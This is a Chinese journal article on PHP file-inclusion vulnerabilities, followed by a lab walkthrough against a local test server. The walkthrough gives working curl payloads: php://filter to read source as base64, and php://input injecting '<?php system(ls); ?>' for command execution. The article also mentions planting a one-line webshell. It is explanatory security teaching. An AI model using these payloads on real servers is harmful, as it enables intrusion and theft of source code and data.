APP下载

PHP文件包含漏洞分析

2020-05-26鲁先志柏海龙周均

卷宗 2020年8期
关键词:漏洞

鲁先志 柏海龙 周均

摘 要:文件包含漏洞是PHP语言开发的web系统中普遍存在的一类漏洞,本文分析了文件包含漏洞的原理,设计一个实验案例展示文件包含漏洞的利用过程。

关键词:漏洞;PHP语言;web系统

PHP语言开发的WEB系统程序有着快速开发快速部署,系统开发实施周期短的优势,但PHP语言开发的WEB系统也普遍存在一些典型的漏洞,如:跨站脚本漏洞、SQL注入漏洞、代码执行漏洞、文件包含漏洞及PHP代码注入漏洞等[1]。

1 文件包含基本概念

文件包含漏洞主要是基于PHP语言的web应用程序中发生的。程序员写程序时将公用代码写在单独的文件中,然后其他函数需要使用该代码时直接包含调用[2]。严格来说,文件包含漏洞是“代码注入”的一种。“代码注入”这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行。“代码注入”的典型代码就是文件包含,可以理解为“外部数据流包含”,至于这个外部数据流是什么,可以是文件,也可以是POST数据流的形式。

2 PHP的封装协议(伪协议)

php漏洞利用中常用伪协议为以下两种:

①php://filter--对本地磁盘文件进行读写,改协议经常用来读取源代码并进行base64编码输出,不然会直接源代码会当做php代码执行就看不到源代码内容。

条件:allow_url_fopen :off/on  allow_url_include:off/on

用法:php://filter/convert.base64-encode/resource=a.php

//将a.php源代码以base64编码输出

②php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。

条件:allow_url_fopen :off/on    allow_url_include:on

用法:http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>//执行phpinfo函数

除了以上的协议以外,php支持的还有以下封装协议(其中常用为data与ftp协议):file:// http:// ftp:// php:// zlib:// glob:// phar:// ssh2:// rar:// ogg:// expect://

3 php文件包含漏洞的实现

本实验搭建了一个具有PHP文件包含漏洞的web系统,通过使用的工具是Linux系统下的curl命令,实现对目标服务器127.0.0.1:7521的渗透,并成功获取到系统的敏感信息。

1.通过curl命令访问目标网址:curl 127.0.0.1:7521

2.上图显示了目标系统的网页源码和两项php配置

1.源代码中有include函数,并且存在未过滤的可控参数path,此处存在有文件包含漏洞的风险。

2.系统中有两项文件包含的相关配置,allow_url_fopen为off,allow_url_include为on,远程文件包含需要allow_url_fopen为on,所以无法进行直接包含远程文件,达到getshell

3.PHP配置项allow_url_include为on,所以可以通过相关伪协议达到文件读取与命令执行的目的,data协议需要两项都为on,此处使用php://filter和php://input达到目的。

4.通过命令执行读取本地文件

通过可控的path参数,利用php://input,注入php的命令执行语句,来达到命令执行。(此处使用system函数),通过curl发送如下包

curl -d “<?php system(ls); ?>”/

http://127.0.0.1/index.php?path=php://input

5.查看返回的数据中,标签后有我们执行后的结果。此处有三个文件,可以猜测出flag应该在f10g.php文件中。

6.访问f10g.php  curl http://127.0.0.1:7521/f10g.php

7.通过php://filter读取f10g.php源代码

curl \

http://127.0.0.1:7521/index.php?path=php://filter/convert.base64-encode/resource=f10g.php

返回的数据中标签后有base64编码后的显示有源代码数据,可以通过base64解码来查看源代码

4 小结

本次的渗透测试案例展示了一个简单的PHP文件上传漏洞并利用该漏洞获取到系统的敏感数据。我们在实际的渗透过程中可以通过多种方式来利用该漏洞,根据系统环境中PHP配置文件和服务器配置的不同来灵活利用该漏洞,比如可以利用php://input來写入一句话木马,也可以直接读取关键配置文件,还可以通过php://input执行系统命令。

参考文献

[1]刘鹏,张玉清常见安全漏洞攻防研究[J].信息网络安全,2011(07)33-36.

[2]周开东等.远程文件包含漏洞分级检测工具研究[J].计算机应用与软件,2014(02)21-23.

[3]赵润梓.基于WEB渗透的自动化文件上传漏洞检测工具实现[J].网络全,2020(03)27-28.

猜你喜欢

漏洞
漏洞
网络安全漏洞管理与漏洞情报库建设方案探讨及研究
基于selenium的SQL注入漏洞检测方法
Windows 10被曝新零日漏洞涉及3大版本
侦探推理游戏(二)
三明:“两票制”堵住加价漏洞
Java 反序列化漏洞研究
高铁急救应补齐三漏洞
细数监管漏洞
视频、Office漏洞相继爆发